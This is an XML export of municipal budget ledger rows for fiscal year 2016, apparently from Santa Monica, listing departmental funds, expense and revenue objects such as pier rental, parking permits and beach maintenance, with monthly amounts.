<row _id="21727"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>544160.0</object><object_description>RIDESHARE PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>96000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>96000</total></row>
<row _id="21728"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-RES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-126001</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-126001</total></row>
<row _id="21729"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1064</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1064</total></row>
<row _id="21730"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>510</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>510</total></row>
<row _id="21731"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2481</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2481</total></row>
<row _id="21732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>29705</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29705</total></row>
<row _id="21733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>32000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32000</total></row>
<row _id="21734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>520000.0</object><object_description>SUPPLIES AND EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21735"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2254</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2254</total></row>
<row _id="21736"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>26237</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26237</total></row>
<row _id="21737"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>690760</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>690760</total></row>
<row _id="21738"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1458777</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1458777</total></row>
<row _id="21739"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>277953</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>277953</total></row>
<row _id="21740"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4266</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4266</total></row>
<row _id="21741"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>419</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>419</total></row>
<row _id="21742"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21743"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30000</total></row>
<row _id="21744"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>400123</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>400123</total></row>
<row _id="21745"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3106</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3106</total></row>
<row _id="21746"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2214</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2214</total></row>
<row _id="21747"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12520</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12520</total></row>
<row _id="21748"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>566650.0</object><object_description>MALL MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>151880</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>151880</total></row>
<row _id="21749"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>250000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>250000</total></row>
<row _id="21750"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1770</total></row>
<row _id="21751"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>72</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72</total></row>
<row _id="21752"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30</total></row>
<row _id="21753"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21754"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21755"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4100</total></row>
<row _id="21756"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21757"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405240.0</object><object_description>HOUSEHOLD HAZARDOUS WASTE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-3600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3600</total></row>
<row _id="21758"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1334</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1334</total></row>
<row _id="21759"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>403921.0</object><object_description>TEA 21 CAL INCLINE CONSTRUCTIO</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-890147</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-890147</total></row>
<row _id="21760"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408641.0</object><object_description>CO ESPLANADE - STPL</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21761"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>401320.0</object><object_description>PARKING STRUCTURE PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-1253000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1253000</total></row>
<row _id="21762"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404420.0</object><object_description>5TH AND ARIZONA PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-624000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-624000</total></row>
<row _id="21763"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404430.0</object><object_description>MAIN STREET PARKING LOTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-969000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-969000</total></row>
<row _id="21764"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1678</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1678</total></row>
<row _id="21765"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577503.0</object><object_description>TRANSFER FROM FUND 15</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-247642</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-247642</total></row>
<row _id="21766"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>407693.0</object><object_description>TAXI DRIVER PERMIT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-51480</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-51480</total></row>
<row _id="21767"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402010.0</object><object_description>SM PIER - RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-3157572</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3157572</total></row>
<row _id="21768"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>405170.0</object><object_description>CAM FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-424191</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-424191</total></row>
<row _id="21769"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408471.0</object><object_description>PEDICAB VEHICLE PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-2382</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2382</total></row>
<row _id="21770"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408472.0</object><object_description>PEDICAB DRIVER PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-2555</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2555</total></row>
<row _id="21771"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3573</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3573</total></row>
<row _id="21772"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3540</total></row>
<row _id="21773"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1558</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1558</total></row>
<row _id="21774"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410150.0</object><object_description>BIKE RACKS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-962</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-962</total></row>
<row _id="21775"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410170.0</object><object_description>SIGN REMOVAL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6000</total></row>
